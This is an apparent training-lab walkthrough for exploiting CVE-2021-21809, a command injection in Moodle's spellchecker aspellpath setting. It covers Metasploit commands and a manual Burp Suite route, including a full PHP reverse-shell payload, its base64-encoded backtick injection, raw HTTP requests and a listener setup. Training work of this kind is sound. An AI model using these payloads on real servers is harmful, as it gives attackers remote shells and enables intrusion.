Lab Walkthrough — Moodle SpellChecker Path Authenticated RCE [CVE-2021–21809]

Pentester Academy
Pentester Academy Blog
9 min readMar 23, 2023

--

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Purpose: We are learning how to exploit the Moodle server’s vulnerable version using the Metasploit Framework and a Python script.

Technical difficulty: Beginner

Introduction

In 2021, a high-risk vulnerability was found in Moodle. Moodle version 3.10 is vulnerable to the command execution vulnerability that exists in the default spellchecker plugin. A specially crafted series of HTTP requests can lead to command execution. An attacker must have administrator privileges to exploit this vulnerability.

The CVE assigned to this vulnerability is CVE-2021–21809. The severity base score of this vulnerability is 9.1, which is considered critical.

Read More:

https://nvd.nist.gov/vuln/detail/CVE-2021-21809

The vulnerability was discovered by Adam Reiser of Cisco ASIG.

Lab Environment

In this lab environment, the user will access a Kali GUI instance. A vulnerable machine Moodle server deployed at http://demo.ine.local

Your task is to fingerprint the application using command-line tools available on the Kali terminal and then exploit the application using the appropriate Metasploit module. Get a meterpreter shell on the target.

The following credentials might be helpful:

- Username: moodle

- Password: moodle_123321

Tools The best tools for this lab are:

  • Nmap
  • Bash Shell
  • Metasploit Framework
  • Burp Suite

What is Moodle?

Moodle is a free and open-source learning management system written in PHP and distributed under the GNU General Public License. Moodle is used for blended learning, distance education, flipped classrooms, and other online learning schemes in schools, universities, workplaces, and other sectors. It can be used to create custom websites with online courses and allows for community-sourced plugins

Source: https://en.wikipedia.org/wiki/Moodle

Vulnerable Version

- 3.11.2, 3.10.0, and 3.8.0

Additional Permission

- Valid credentials as an administrator role are needed to exploit the vulnerability

Vulnerability Details

Moodle’s security model relies on operating system permissions to prevent arbitrary server-side command execution via the web interface. A typical Moodle installation runs as the web server’s user and according to Moodle’s documentation “It is vital that the Moodle files are not writeable by the web server user.” If they are, an administrator can gain code execution trivially by installing plugins through the web interface. Moodle administrators can also specify paths to system binaries, as well as upload files to the Moodle data directory (outside of the web root) via course restoration; arbitrary code execution is prevented only because uploaded files do not have the execute bit set.

To exploit the shell injection vulnerability, the administrator sets a path to the legacy server-side spellcheck binary (aspellpath) containing a backtick shell injection and sets PSpellShell as the spellchecking engine. When a server-side spellcheck is requested, lib/editor/tinymce/plugins/spellchecker/classes/PSpellShell.php uses aspellpath to unsafely construct a shell_exec command. The spellchecker plugin does not have to be enabled.

Source: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277

Lab Link: https://my.ine.com/INE/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/e49ec0a3-aafb-4aee-b401-2c23b56bc544

Solution

Step 1: Open the lab link to access the Kali machine.

Kali machine

Step 2: Check if we can access the provided machine.

Command

ping -c 4 demo.ine.local

The provided machine is reachable.

Step 3: Now, check all open ports on the machine.

Command

nmap demo.ine.local

Two ports are is open, i.e., 80 and 22.

Step 4: Run the firefox browser and access Moodle application.

Access the below URL where we can find the Moodle current running version.

URL http://demo.ine.local/lib/upgrade.txt

We can notice that moodle 3.10 version is running on the target machine. Also, to access the upgrade.txt file, we do not need any authentication.

Log in to Moodle using moodle:moodle_123321 creds.

First, we will exploit the vulnerability using the Metasploit framework, and then we will exploit the vulnerability manually using the burp suite.

Step 5: Run the Metasploit framework and search for the Moodle exploit module.

Commands

msfconsole -q

search CVE-2021–21809

There is one Metasploit module available. exploit/multi/http/moodle_spelling_path_rce

Step 6: Use the moodle_spelling_path_rce exploit module and check all available options.

Moodle SpellChecker Path Authenticated Remote Command Execution

>Moodle allows an authenticated administrator to define spellcheck settings via the web interface. An administrator can update the aspell path to include a command injection. This is extremely similar to CVE-2013–3630, just using a different variable. This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.

Source: https://www.rapid7.com/db/modules/exploit/multi/http/moodle_spelling_path_rce/

Commands

use exploit/multi/http/moodle_spelling_path_rce

show options

Set RHOSTS, USERNAME, PASSWORD and LHOST, then run the module.

Commands

set RHOSTS demo.ine.local

set LHOST 10.10.27.2

set USERNAME moodle

set PASSWORD moodle_123321

check

The target appears to be vulnerable.

Exploit the server.

Commands:

exploit

getuid

Step 7: Read the flag.

Commands:

shell

find / -name *flag.txt*

cat /bitnami/moodle/flag.txt

FLAG: f2c3d50792c3e32fcad04aee921a206a

Restart the lab if you want to undo all the changes before trying the next step.

Exploiting Manually

We already know that the vulnerability is in the spellcheck plugin. Also, we need an administrator account to exploit the vulnerability.

Step 8: We have already logged into the Moodle admin panel (Step 4). If not done, please use the below credentials for the login.

- Log in to Moodle using moodle:moodle_123321 creds.

Start the burp suite.

Start the Firefox browser and access the moodle application, then enable the Burp-Suite proxy.

Step 9: Intercept the moodle page request in the burp suite.

Send the captured request to the burp repeater.

First, identify the moodle application directory. We can access phpinfo.php file to know the exact location of the moodle app directory.

Note: You have to turn off the burp suite intercept

URL: http://demo.ine.local/admin/phpinfo.php

Now, one can easily plant a one-liner PHP shell in this directory and access it using the browser to execute a command on the server.

In this case, we will exploit the target using burp and need to find the sesskey that we can get quickly from the moodle page source code.

Right-click on the webpage and check the page source code.

The sesskey is: RC8Xeb79Lt

Now, let’s send the below request to set aspellpath with a payload. We are using a PHP shell mentioned below to gain the reverse connection.

PHP Shell

/*<?php // error_reporting(0); $ip = ‘10.10.27.2’; $port = 4444; if (($f = ‘stream_socket_client’) && is_callable($f)) { $s = $f(“tcp://{$ip}:{$port}”); $s_type = ‘stream’; } if (!$s && ($f = ‘fsockopen’) && is_callable($f)) { $s = $f($ip, $port); $s_type = ‘stream’; } if (!$s && ($f = ‘socket_create’) && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = ‘socket’; } if (!$s_type) { die(‘no socket funcs’); } if (!$s) { die(‘no socket’); } switch ($s_type) { case ‘stream’: $len = fread($s, 4); break; case ‘socket’: $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(“Nlen”, $len); $len = $a[‘len’]; $b = ‘’; while (strlen($b) < $len) { switch ($s_type) { case ‘stream’: $b .= fread($s, $len-strlen($b)); break; case ‘socket’: $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS[‘msgsock’] = $s; $GLOBALS[‘msgsock_type’] = $s_type; if (extension_loaded(‘suhosin’) && ini_get(‘suhosin.executor.disable_eval’)) { $suhosin_bypass=create_function(‘’, $b); $suhosin_bypass(); } else { eval($b); } die();

Note: Remember to change the IP address of the shell.

We need to add the encoded payload after s__aspellpath=. One can decode the payload and view it better to understand where the payload is kept.

Final request with payload

section=systempaths&action=save-settings&sesskey=RC8Xeb79Lt&return=&s__pathtophp=&s__pathtodu=&s__aspellpath=%60php%20-r%20%22eval%28base64_decode%28Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjI3LjInOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw%29%29%3b%22%20%26%60&s__pathtodot=&s__pathtogs=/usr/bin/gs&s__pathtopython=

In your case, please remember to change the sesskey and the encoded base64 payload.

Final Request

POST /admin/settings.php?section=systempaths HTTP/1.1

Host: demo.ine.local

User-Agent: Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1

Cookie: MoodleSession=m3f45stvitdai6hsbidmsfspql

Content-Type: application/x-www-form-urlencoded

Content-Length: 1708

section=systempaths&action=save-settings&sesskey=RC8Xeb79Lt&return=&s__pathtophp=&s__pathtodu=&s__aspellpath=%60php%20-r%20%22eval%28base64_decode%28Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjI3LjInOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw%29%29%3b%22%20%26%60&s__pathtodot=&s__pathtogs=/usr/bin/gs&s__pathtopython=

Send the request

Now, set the spell engine to PSpellShell. When server-side spellcheck is requested, lib/editor/tinymce/plugins/spellchecker/classes/PSpellShell.php uses aspellpath to construct a shell_exec command unsafely. The spellchecker plugin does not have to be enabled.

Reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277

Start the Metasploit multi-handler to receive the PHP meterpreter session on port 4444

Note: Exit the existing session

Commands:

use exploit/multi/handler

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST 10.10.27.2

set LPORT 4444

exploit

Now, send the below request to receive the shell.

Request

POST /admin/settings.php?section=tinymcespellcheckersettings HTTP/1.1

Host: demo.ine.local

User-Agent: Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1

Cookie: MoodleSession=m3f45stvitdai6hsbidmsfspql

Content-Type: application/x-www-form-urlencoded

Content-Length: 334

section=tinymcespellcheckersettings&action=save-settings&sesskey=RC8Xeb79Lt&return=&s_tinymce_spellchecker_spellengine=PSpellShell&s_tinymce_spellchecker_spelllanguagelist=%2bEnglish%3den%2cDanish%3dda%2cDutch%3dnl%2cFinnish%3dfi%2cFrench%3dfr%2cGerman%3dde%2cItalian%3dit%2cPolish%3dpl%2cPortuguese%3dpt%2cSpanish%3des%2cSwedish%3dsv

Remember to change the sesskey.

Let’s invoke the spellcheck using either checkWords or getSuggestions.

Request

POST /lib/editor/tinymce/plugins/spellchecker/rpc.php HTTP/1.1

Host: demo.ine.local

User-Agent: Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1

Cookie: MoodleSession=m3f45stvitdai6hsbidmsfspql

Content-Type: application/json

Content-Length: 54

{“id”:”c0",”method”:”checkWords”,”params”:[“en”,[“”]]}

We should have received a meterpreter session on the Metasploit multi-handler.

Great! We have successfully exploited the Moodle application manually using the Metasploit PHP payload.

References

1. Moodle

2. PoC

3. CVE-2021–21809

Try this exploit for yourself! or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Originally published at https://ine.com.

--

--